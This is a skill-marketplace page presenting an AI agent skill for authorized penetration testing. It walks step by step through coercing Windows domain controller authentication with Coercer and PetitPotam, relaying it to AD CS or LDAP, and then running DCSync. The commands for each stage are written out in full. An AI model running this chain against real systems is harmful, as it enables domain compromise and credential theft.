跳到正文
cccskills
免费在 GitHub 公开

coercing-authentication-with-coercer-petitpotam

Assess forced authentication and NTLM relay, the forwarding of authentication to another service, in authorized Windows environments. Use Coercer and PetitPotam to document exposed methods and check detection coverage, signing requirements, and Extended Protection for Authentication safeguards.

中文简介正在准备中。当前显示英语简介。

原文查看原文说明

Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing/EPA mitigations.

实测评分 未实测

查看安装方法

适用场景

  • Assessing exposed forced authentication methods
  • Validating NTLM relay risks in authorized environments
  • Generating activity to tune security detections
  • Checking signing and EPA protections

包含的文件(5)

  • SKILL.md8.7 KB
  • LICENSE11.0 KB
  • references/api-reference.md2.4 KB
  • references/standards.md1.3 KB
  • scripts/agent.py4.6 KB

SKILL.md(原文)

安装前可以查看交给 AI 代理的指令内容。

Coercing Authentication with Coercer and PetitPotam

Legal Notice: This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.

Overview

Many Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its machine account. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is "Forced Authentication"; combined with an NTLM relay, the coerced machine credential is relayed to a service that does not enforce signing/EPA, most famously AD CS Web Enrollment (ESC8), yielding a certificate for the Domain Controller and ultimately domain compromise.

PetitPotam (Gilles Lionel / topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv methods. Coercer (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: scan (probe which RPC methods are reachable/coercible), coerce (trigger authentication), and fuzz (research path variations). Sources: p0dalirius/Coercer, topotam/PetitPotam, The Hacker Recipes — Forced Authentications.

When to Use

  • To complete an ESC8/ESC11 chain by forcing a DC to authenticate to a relay
  • To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB
  • When a relay target is identified but no inbound authentication is occurring naturally
  • During detection engineering to generate coercion telemetry for blue-team tuning
  • To validate that DCs/servers are patched and that relay mitigations (signing/EPA) hold

Prerequisites

  • Authorized scope including coercion and NTLM relay techniques
  • Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts
  • A relay listener (Certipy relay or Impacket ntlmrelayx) on a reachable host
  • Network reachability to the target's RPC endpoints (135 + dynamic, 445)
  • Linux attack host with Python 3.8+; install the tools:
    # Coercer
    pipx install coercer        # or: sudo python3 -m pip install coercer
    coercer --help
    # PetitPotam (source)
    git clone https://github.com/topotam/PetitPotam
    # Impacket (provides ntlmrelayx, dFSCoerce etc.)
    pipx install impacket
    

Objectives

  • Identify which RPC coercion methods a target exposes (scan mode)
  • Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)
  • Coerce the target machine account to authenticate to the relay
  • Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)
  • Document coercible methods and recommend patching/mitigations

MITRE ATT&CK Mapping

IDTechniqueApplication in this skill
T1187Forced AuthenticationUsing MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP RPC methods to force a target machine account to authenticate to an attacker-controlled host

Chained techniques: T1557.001 (LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.

Workflow

Step 1: Scan the target for coercible methods

Use Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.

coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

-t is the target (e.g., the DC), -l is the listener IP that should receive the coerced authentication.

Step 2: Stand up the relay (ESC8 example)

In a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.

# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'

# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

Step 3: Coerce authentication with Coercer

Trigger the target machine account to authenticate to the relay/listener. --always-continue tries every method until one succeeds.

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --always-continue

To use a single specific method (quieter), filter by method name:

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam

Step 4: Coerce with PetitPotam directly (MS-EFSR)

PetitPotam is the canonical MS-EFSR coercion and works unauthenticated against unpatched DCs. Syntax: petitpotam.py <listener> <target>.

# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10

Step 5: Use the relayed result

For ESC8, the relay writes a DC certificate (dc.pfx). Authenticate as the DC and DCSync.

certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/dc$@dc.corp.local' -just-dc

Step 6: Relay to LDAP for RBCD (alternative chain)

If ESC8 is unavailable, relay coerced auth to LDAP to configure Resource-Based Constrained Delegation.

# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
    --escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3

Step 7: Fuzz mode for unpatched-path discovery (research)

Fuzz mode varies UNC paths to find coercion paths bypassing partial patches.

coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

Tools and Resources

ResourcePurposeLink
CoercerMulti-method automated coercion (12 methods)https://github.com/p0dalirius/Coercer
PetitPotamMS-EFSR coercionhttps://github.com/topotam/PetitPotam
Certipy relayESC8/ESC11 relay targethttps://github.com/ly4k/Certipy
Impacket ntlmrelayxRelay to AD CS / LDAP / SMBhttps://github.com/fortra/impacket
The Hacker RecipesCoercion & relay theoryhttps://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications

Coercion Method Reference

MethodProtocolNotes
PetitPotamMS-EFSREfsRpcOpenFileRaw / EfsRpcEncryptFileSrv; classic ESC8 trigger
PrinterBug / SpoolSampleMS-RPRNRpcRemoteFindFirstPrinterChangeNotificationEx; needs Spooler
DFSCoerceMS-DFSNMNetrDfsAddStdRoot; often works post-PetitPotam patch
ShadowCoerceMS-FSRVPIsPathSupported / IsPathShadowCopied
Others (Coercer)MS-EVEN, etc.12 methods total; use scan to enumerate

Validation Criteria

  • Coercer scan identified at least one reachable coercion method on the target
  • Relay listener stood up against a confirmed vulnerable service
  • Target machine account successfully coerced to authenticate to the listener
  • Relayed artifact obtained (DC certificate, RBCD write, or SMB exec)
  • (ESC8) DC certificate used to authenticate and DCSync demonstrated
  • Coercible methods documented with affected host and patch recommendation
  • Relay mitigations (SMB/LDAP signing, EPA, RPC filters) validated or flagged

评价

还没有评价。欢迎分享你的使用感受。

评论

无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。

还没有评论。来写第一条吧。

提交后会立即公开。请勿填写邮箱、电话等个人信息。URL 最多 2 个。

0 / 1000 字

此表单受 reCAPTCHA 保护,适用 Google 的隐私权政策和服务条款。

同一仓库的技能

Assess exposure of Windows secrets protected by DPAPI, the operating system’s data protection service, during authorized security tests. Guide examination and decryption of saved credentials and browser data using available user sessions, credentials, or backup keys.

中文简介正在准备中。当前显示英语简介。

  • Assessing saved credential exposure in authorized tests
  • Examining collected DPAPI files offline
  • Reviewing protected browser and RDP credentials
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Assess Shadow Credentials account takeover during authorized Active Directory testing. Examine permissions that allow public key registration, validate authentication without a password reset, and document credential cleanup, detection opportunities, and access control changes needed for remediation.

中文简介正在准备中。当前显示英语简介。

  • Assessing risky permissions identified in BloodHound
  • Validating account takeover without resetting a password
  • Generating directory change records during security exercises
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Prepare for CMMC Level 2, a cybersecurity certification for defense contractors. Define the systems handling controlled information, review security requirements, calculate the SPRS assessment score, and organize remediation plans and evidence into a readiness report.

中文简介正在准备中。当前显示英语简介。

  • Define the assessment scope for systems handling controlled information
  • Calculate an SPRS score and prioritize unmet security requirements
  • Prepare security plans, remediation milestones, and assessment evidence
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Create disk images for investigations using dd or dcfldd on Linux. The workflow covers write protection, bit-for-bit copying, hash checks to verify integrity, and documentation of the acquisition process.

中文简介正在准备中。当前显示英语简介。

  • Preserving a suspect drive before investigation
  • Creating evidence copies of USB devices or memory cards
  • Verifying that a disk image matches its source
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Review Active Directory permissions with ldap3, a Python library for directory queries. Identify excessive access granted to non-administrative accounts, explain potential privilege escalation paths, and produce a JSON report with affected objects and remediation recommendations.

中文简介正在准备中。当前显示英语简介。

  • Auditing excessive Active Directory permissions
  • Investigating privilege escalation paths from ordinary accounts
  • Reporting affected objects and permission remediation recommendations
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

Inspect suspicious Android APK files without running them. Analyze permissions, app components, suspicious code patterns, and network indicators, then produce a JSON risk report to support malware triage and detection rule development.

中文简介正在准备中。当前显示英语简介。

  • Triage suspicious APK files without running them
  • Inspect dangerous permission combinations and suspicious API calls
  • Extract network indicators for malware detection rules
mukul975/Anthropic-Cybersecurity-Skills3.5万2026年8月31日 更新

查看 mukul975 的全部技能

报告此技能的问题